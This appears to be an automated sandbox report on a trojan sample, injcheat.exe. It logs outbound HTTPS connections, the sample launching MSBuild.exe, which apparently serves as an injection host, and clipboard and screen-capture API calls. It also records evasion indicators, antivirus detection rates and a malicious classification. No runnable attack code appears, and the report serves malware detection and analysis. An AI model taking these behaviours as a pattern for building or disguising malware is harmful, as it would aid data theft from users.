Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49708 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_004390EE GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_004390EE

Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00811FE0	1_2_00811FE0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0084A080	1_2_0084A080
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008741B0	1_2_008741B0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008461E0	1_2_008461E0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008723D0	1_2_008723D0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008584D0	1_2_008584D0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00844470	1_2_00844470
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0087A780	1_2_0087A780
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00846730	1_2_00846730
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0081C852	1_2_0081C852
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00880920	1_2_00880920
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00868BB0	1_2_00868BB0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00846DF0	1_2_00846DF0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083CEE0	1_2_0083CEE0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00816FFC	1_2_00816FFC
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00841090	1_2_00841090
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008430D0	1_2_008430D0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0082D0F9	1_2_0082D0F9
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0086D1B0	1_2_0086D1B0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083D1D7	1_2_0083D1D7
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0084112B	1_2_0084112B
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0086D13A	1_2_0086D13A
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083D283	1_2_0083D283
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00847280	1_2_00847280
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083D27A	1_2_0083D27A
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0082548C	1_2_0082548C
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083F490	1_2_0083F490
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083D45D	1_2_0083D45D
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0083D52F	1_2_0083D52F
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008777A0	1_2_008777A0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0086D740	1_2_0086D740
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0082B894	1_2_0082B894
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00883990	1_2_00883990
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_008239F2	1_2_008239F2
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00843AD0	1_2_00843AD0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00859A4F	1_2_00859A4F
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0081FC50	1_2_0081FC50
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00869D8C	1_2_00869D8C
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00847D90	1_2_00847D90
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00845D48	1_2_00845D48
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00811D65	1_2_00811D65
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00883EA0	1_2_00883EA0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00885FB0	1_2_00885FB0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0084DF10	1_2_0084DF10
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0087FF20	1_2_0087FF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0043F620	3_2_0043F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00444040	3_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00401000	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00412030	3_2_00412030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0044A0D0	3_2_0044A0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00405160	3_2_00405160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004071F0	3_2_004071F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040E1A0	3_2_0040E1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00410228	3_2_00410228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004382D0	3_2_004382D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004312D0	3_2_004312D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004012F7	3_2_004012F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040A300	3_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004323E0	3_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040B3A0	3_2_0040B3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004013A3	3_2_004013A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042C470	3_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004364F0	3_2_004364F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00414487	3_2_00414487
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041049B	3_2_0041049B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041C5F0	3_2_0041C5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00408590	3_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004035B0	3_2_004035B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040164F	3_2_0040164F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00448652	3_2_00448652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004486F0	3_2_004486F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040A850	3_2_0040A850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00431860	3_2_00431860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0043B8C0	3_2_0043B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0043E8A0	3_2_0043E8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042098B	3_2_0042098B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_004489A0	3_2_004489A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00444A40	3_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00448A80	3_2_00448A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00447AB0	3_2_00447AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041DB6F	3_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00407BF0	3_2_00407BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00448C02	3_2_00448C02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042CCD0	3_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00446CBF	3_2_00446CBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00428D62	3_2_00428D62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042FD10	3_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042DD29	3_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042AE57	3_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00448E70	3_2_00448E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00414E2A	3_2_00414E2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040BEB0	3_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00416EBF	3_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040AF10	3_2_0040AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00447FC0	3_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00408FD0	3_2_00408FD0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040CAA0 appears 48 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041D300 appears 152 times
Source: C:\Users\user\Desktop\injcheat.exe	Code function: String function: 008178E0 appears 49 times
Source: C:\Users\user\Desktop\injcheat.exe	Code function: String function: 00848980 appears 93 times
Source: C:\Users\user\Desktop\injcheat.exe	Code function: String function: 008591E0 appears 152 times

Source: C:\Users\user\Desktop\injcheat.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 304

Source: injcheat.exe

Static PE information: invalid certificate

Source: injcheat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: injcheat.exe

Static PE information: Section: .data ZLIB complexity 0.9912341564685314

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/9@3/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0043F420 CoCreateInstance,

3_2_0043F420

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7572
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7516

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\382f6396-6f4b-4ac0-9cce-388d0c87c6a1

Jump to behavior

Source: C:\Users\user\Desktop\injcheat.exe	Command line argument: MZx	1_2_00811FE0
Source: C:\Users\user\Desktop\injcheat.exe	Command line argument: MZx	1_2_00811FE0
Source: C:\Users\user\Desktop\injcheat.exe	Command line argument: MZx	1_2_00811FE0

Source: injcheat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\injcheat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: injcheat.exe	ReversingLabs: Detection: 26%
Source: injcheat.exe	Virustotal: Detection: 61%

Source: unknown	Process created: C:\Users\user\Desktop\injcheat.exe "C:\Users\user\Desktop\injcheat.exe"
Source: C:\Users\user\Desktop\injcheat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\injcheat.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 304
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7572 -s 1620
Source: C:\Users\user\Desktop\injcheat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\injcheat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
